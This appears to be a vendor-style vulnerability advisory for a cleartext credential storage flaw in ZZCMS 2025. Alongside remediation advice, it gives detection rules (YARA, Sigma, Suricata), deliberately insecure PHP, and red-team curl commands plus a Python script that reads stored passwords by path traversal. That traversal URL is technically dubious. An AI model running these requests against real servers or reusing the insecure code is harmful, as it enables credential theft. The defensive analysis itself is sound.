CVE-2025-14836

Executive Summary

CVE-2025-14836 is a low-severity vulnerability affecting ZZCMS 2025, specifically within the User Data Storage Module. The flaw resides in the /reg/user_save.php file, where user credentials or sensitive data are stored in cleartext on disk. This allows an attacker with remote access to the server or file system to read stored credentials, potentially leading to account compromise. The vulnerability has a CVSS score of 2.7, indicating low impact, but the public availability of an exploit increases the risk. No patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a direct flaw in the ZZCMS application code.

CVSS Breakdown & Threat Level

• CVSS Score: 2.7 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the vulnerability.
• User Interaction: None (UI:N) – No user action is required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited disclosure of sensitive data.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Low. The vulnerability requires access to the file system or the ability to read the stored cleartext data. However, the public exploit increases the practical risk.

Deep Dive & Mechanics

The vulnerability is a classic case of Cleartext Storage of Sensitive Information (CWE-312). In ZZCMS 2025, the /reg/user_save.php script handles user registration data. Instead of hashing or encrypting sensitive fields (such as passwords or personal information) before writing them to a file or database, the application stores them in plaintext.

Attack Vector:

1. An attacker identifies a ZZCMS 2025 instance.
2. The attacker either:
   • Exploits a separate vulnerability (e.g., path traversal, LFI) to read the storage file.
   • Gains access to the server via other means (e.g., weak SSH credentials, exposed admin panel).
3. The attacker reads the cleartext file, extracting user credentials.
4. The attacker uses these credentials to log in as legitimate users, potentially escalating privileges.

Root Cause: The developer failed to apply standard security practices for storing sensitive data. The user_save.php script likely uses file_put_contents() or similar functions without encryption.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison.

Vulnerable Code (ZZCMS 2025):

<?php
// /reg/user_save.php
$username = $_POST['username'];
$password = $_POST['password'];
$email = $_POST['email'];

// Store in cleartext
$data = "Username: $username\nPassword: $password\nEmail: $email\n";
file_put_contents('users.txt', $data, FILE_APPEND);
?>

Patched Code (Hypothetical):

<?php
// /reg/user_save.php
$username = $_POST['username'];
$password = password_hash($_POST['password'], PASSWORD_BCRYPT);
$email = $_POST['email'];

// Store hashed password
$data = "Username: $username\nPassword: $password\nEmail: $email\n";
file_put_contents('users.txt', $data, FILE_APPEND);
?>

The patched version uses password_hash() to store a bcrypt hash instead of the plaintext password.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running ZZCMS 2025 instance (e.g., on a local VM or Docker container).
• Access to the /reg/user_save.php endpoint.
• Ability to read the storage file (e.g., via path traversal or direct file access).

Exploitation Steps:

1. Register a user to trigger the cleartext storage:

   curl -X POST http://target/reg/user_save.php -d "username=test&password=secret123&email=test@example.com"
   

2. Read the storage file (e.g., via a path traversal vulnerability):

   curl http://target/../../users.txt
   

3. Extract credentials from the file:

   Username: test
   Password: secret123
   Email: test@example.com
   

4. Use the credentials to log in to the admin panel or other services.

Automated Exploit (Python):

import requests

target = "http://target"
register_url = f"{target}/reg/user_save.php"
read_url = f"{target}/../../users.txt"

# Register a user
data = {"username": "attacker", "password": "pwned123", "email": "attacker@test.com"}
requests.post(register_url, data=data)

# Read the file
response = requests.get(read_url)
print(response.text)

Blue Team

Detection & Response:

1. Monitor file access logs for unusual reads of /reg/user_save.php or the storage file.
2. Implement file integrity monitoring (FIM) on the storage file to detect unauthorized reads.
3. Use WAF rules to block path traversal attempts (e.g., ../ patterns).
4. Enforce strong authentication for server access (SSH keys, MFA).
5. Apply the principle of least privilege to the web server user.

Indicators of Compromise (IOCs)

• File Path: /reg/user_save.php (vulnerable script)
• Storage File: users.txt or similar cleartext file (exact name may vary)
• Network Traffic: POST requests to /reg/user_save.php with username, password, and email parameters.
• Log Entries: Unusual file reads containing ../ patterns in the URL.
• Hash: SHA256 of known vulnerable file (if available): UNKNOWN

Detection Engineering

YARA Rule

rule CVE_2025_14836_Cleartext_Storage {
    meta:
        description = "Detects cleartext storage of credentials in ZZCMS 2025"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-14836"
    strings:
        $s1 = "Username:" nocase
        $s2 = "Password:" nocase
        $s3 = "user_save.php" nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2025-14836 - Cleartext Storage in ZZCMS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to read cleartext credential files in ZZCMS 2025
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '*/users.txt'
            - '*/reg/user_save.php'
    condition: selection
falsepositives:
    - Legitimate admin access
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14836 - Cleartext Storage Access"; flow:to_server; content:"GET"; http_method; content:"/users.txt"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint /reg/user_save.php if not required.
2. Restrict file permissions on the storage file to prevent web server read access.
3. Implement a WAF rule to block path traversal patterns.

Long-Term Fix:

• Apply a patch from the vendor when available.
• Rewrite the registration script to hash passwords using password_hash() and store data in a database with prepared statements.
• Conduct a security audit of the entire ZZCMS codebase.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block access to the vulnerable file:

  location /reg/user_save.php {
      deny all;
  }
  

Valters IT
Securing Digital Frontiers